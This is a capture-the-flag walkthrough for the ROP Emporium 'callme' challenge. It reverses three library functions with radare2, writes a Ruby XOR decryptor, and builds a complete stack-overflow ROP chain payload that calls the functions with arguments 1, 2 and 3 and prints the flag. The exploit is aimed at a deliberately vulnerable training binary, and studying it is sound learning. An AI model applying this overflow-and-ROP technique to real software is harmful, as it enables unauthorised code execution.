ROP Emporium CTF 3/7 callme
This challenge uses a similar pwnme
function to other ROP Emporium challenges.
$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
gdb ./callme --batch -ex run
callme by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
Scanning through the symbols we see a number of interesting functions:
$ r2 ./callme -qc "is"
[Symbols]
Num Paddr Vaddr Bind Type Size Name
...
004 0x00001810 0x00401810 GLOBAL FUNC 16 imp.callme_three
...
008 0x00001850 0x00401850 GLOBAL FUNC 16 imp.callme_one
...
011 0x00001870 0x00401870 GLOBAL FUNC 16 imp.callme_two
...
We can’t disassemble them here because they are imported from a shared library.
The intricacies of how functions are imported from shared libraries are explored
in the pivot
challenge.
We need to do some reverse engineering to understand what these functions do.
callme_one
$ r2 ./libcallme.so -qc "aa ; pdf @ sym.callme_one"
...
Takes three arguments
0x000008f8 897dec mov dword [local_14h], edi
0x000008fb 8975e8 mov dword [local_18h], esi
0x000008fe 8955e4 mov dword [local_1ch], edx
First argument must equal 1
0x00000901 837dec01 cmp dword [local_14h], 1
0x00000905 0f85b0000000 jne 0x9bb
Second argument must equal 2
0x0000090b 837de802 cmp dword [local_18h], 2 ; [0x2:4]=0x102464c
0x0000090f 0f85a6000000 jne 0x9bb
Third argument must equal 3
0x00000915 837de403 cmp dword [local_1ch], 3 ; [0x3:4]=0x1010246
0x00000919 0f859c000000 jne 0x9bb
Opens the flag file as read only
0x0000091f 48c745f80000. mov qword [local_8h], 0
0x00000927 488d35820200. lea rsi, 0x00000bb0 ; "r"
0x0000092e 488d3d7d0200. lea rdi, str.encrypted_flag.txt
0x00000935 e886feffff call sym.imp.fopen
0x0000093a 488945f8 mov qword [local_8h], rax
Create a 0x21
buffer with malloc
0x0000095b bf21000000 mov edi, 0x21
0x00000960 e84bfeffff call sym.imp.malloc
0x00000965 488905fc0620. mov qword obj.g_buf, rax
Read 0x21
bytes from file into malloc
ed buffer
0x0000098e 488b05d30620. mov rax, qword obj.g_buf
0x00000995 488b55f8 mov rdx, qword [local_8h]
0x00000999 be21000000 mov esi, 0x21
0x0000099e 4889c7 mov rdi, rax
0x000009a1 e8fafdffff call sym.imp.fgets
In summary, callme_one
does
- check that
edi == 1
,esi == 2
,edx == 3
- allocate
0x21
bufferobj.g_buf
- read
0x21
bytes from FLAG file - return pointer to buffer (
rax
)
callme_two
$ r2 ./libcallme.so -qc "aa ; pdf @ sym.callme_two"
...
First three arguments need to be 1
, 2
and 3
0x000009dc 897dec mov dword [local_14h], edi
0x000009df 8975e8 mov dword [local_18h], esi
0x000009e2 8955e4 mov dword [local_1ch], edx
0x000009e5 837dec01 cmp dword [local_14h], 1
0x000009e9 0f85a2000000 jne 0xa91
0x000009ef 837de802 cmp dword [local_18h], 2
0x000009f3 0f8598000000 jne 0xa91
0x000009f9 837de403 cmp dword [local_1ch], 3
0x000009fd 0f858e000000 jne 0xa91
Open file "key1.dat"
as readonly
0x00000a0b 488d359e0100. lea rsi, 0x00000bb0
0x00000a12 488d3d000200. lea rdi, str.key1.dat ; "r"
0x00000a19 e8a2fdffff call sym.imp.fopen
0x00000a1e 488945f8 mov qword [local_8h], rax
0x00000a22 48837df800 cmp qword [local_8h], 0
0x00000a27 7516 jne 0xa3f
The local vairable local_ch
is a counter and local_8h
is the key file descriptor.
The counter is initialized to zero.
0x00000a46 c745f4000000. mov dword [local_ch], 0
The following code then loops 16 times.
Read next char from key
0x00000a4f 488b45f8 mov rax, qword [local_8h] ; fd
0x00000a53 4889c7 mov rdi, rax
0x00000a56 e835fdffff call sym.imp.fgetc
Add counter to buffer pointer
0x00000a5d 488b15040620. mov rdx, qword obj.g_buf
0x00000a64 8b45f4 mov eax, dword [local_ch]
0x00000a67 4898 cdqe ; sign extend eax -> rax
0x00000a69 4801d0 add rax, rdx
Same again (?)
0x00000a6c 488b0df50520. mov rcx, qword obj.g_buf
0x00000a73 8b55f4 mov edx, dword [local_ch]
0x00000a76 4863d2 movsxd rdx, edx
0x00000a79 4801ca add rdx, rcx
Do xor
flag[counter] with byte from key1
0x00000a7c 0fb612 movzx edx, byte [rdx]
0x00000a7f 89f1 mov ecx, esi
0x00000a81 31ca xor edx, ecx
Copy xor
result to flag[counter] buffer
0x00000a83 8810 mov byte [rax], dl
Loop 15 more times
0x00000a85 8345f401 add dword [local_ch], 1
0x00000a89 837df40f cmp dword [local_ch], 0xf
In summary, callme_two
does
- check that
edi == 1
,esi == 2
,edx == 3
- open
key1.dat
xor
each byte with the flag string in global buffer
callme_three
$ r2 ./libcallme.so -qc "aa ; pdf @ sym.callme_three"
...
Is similar to callme_two
except it opens a file called key2.dat
and xor
s bytes
16-32
of the global buffer. It also prints out the result so we don’t need to setup a call to printf
manually.
Write a Decryptor
We can test our understanding of the algorithm so far by writing a custom decryptor.
$ cat << EOF > decrypt.rb
flag = File.read("encrypted_flag.txt")
key1 = File.read("key1.dat")
key2 = File.read("key2.dat")
c = 0
key1.each_byte do |b|
flag[c] = (flag[c].ord ^ b).chr
c += 1
end
key2.each_byte do |b|
flag[c] = (flag[c].ord ^ b).chr
c += 1
end
puts flag
EOF
$ ruby decrypt.rb
ROPE{a_placeholder_32byte_flag!}!
Exploit
Our ROP chain needs to look like this:
- 40 bytes padding before the overflow
- assign
rdi=1
,rsi=2
,rdx=3
callme_one
(0x00401850
)- assign
rdi=1
,rsi=2
,rdx=3
callme_two
(0x00401870
)- assign
rdi=1
,rsi=2
,rdx=3
callme_three
(0x00401810
)
As luck would have is, a gadget which pops all three registers in a row is available
$ r2 ./callme -qc ' "/R pop rdi;ret" '
0x00401ab0 5f pop rdi
0x00401ab1 5e pop rsi
0x00401ab2 5a pop rdx
0x00401ab3 c3 ret
Using the bash one liner from the previous split
writeup:
$ echo '0x00
0x00
0x00
0x00
0x00
0x00401ab0
0x00000001
0x00000002
0x00000003
0x00401850
0x00401ab0
0x00000001
0x00000002
0x00000003
0x00401870
0x00401ab0
0x00000001
0x00000002
0x00000003
0x00401810
0x00401ab0' |
while read l;
do
printf "%016x" "$l" |
sed -re 's/([0-9a-f]{2})/\\x\1/g' |
tac -b -rs '\(\\x\|\s\)'
done
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x70\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x10\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00
I’ll expand on the bash code a bit because it is useful for the other ROP Emporium challenges as well.
The while read l
loops over every line, putting it into variable l
echo 'one
two
three' | while read l; do echo $l; done
one
two
three
The printf
removes 0x
and adds zero padding to 64 bits e.g.
$ printf "%016x" 0x00401ab0
0000000000401ab0
The sed
replaces every 2 digits with itself plus a leading \x
$ echo "01020304" | sed -re 's/([0-9a-f]{2})/\\x\1/g'
\x01\x02\x03\x04
The tac
is opposite of cat
, reverses the order of lines/characters
$ echo -n "\x01\x02\x03\x04" | tac -b -rs '\(\\x\|\s\)'
\x04\x03\x02\x01
And finally the echo -e
converts "\xNN"
into literal bytes
$ echo -e "\x61\x62\x63"
abc
So the final exploit looks like this
$ echo -e "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x70\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x10\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00" | LD_LIBRARY_PATH=. ./callme
callme by ROP Emporium
64bits
Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}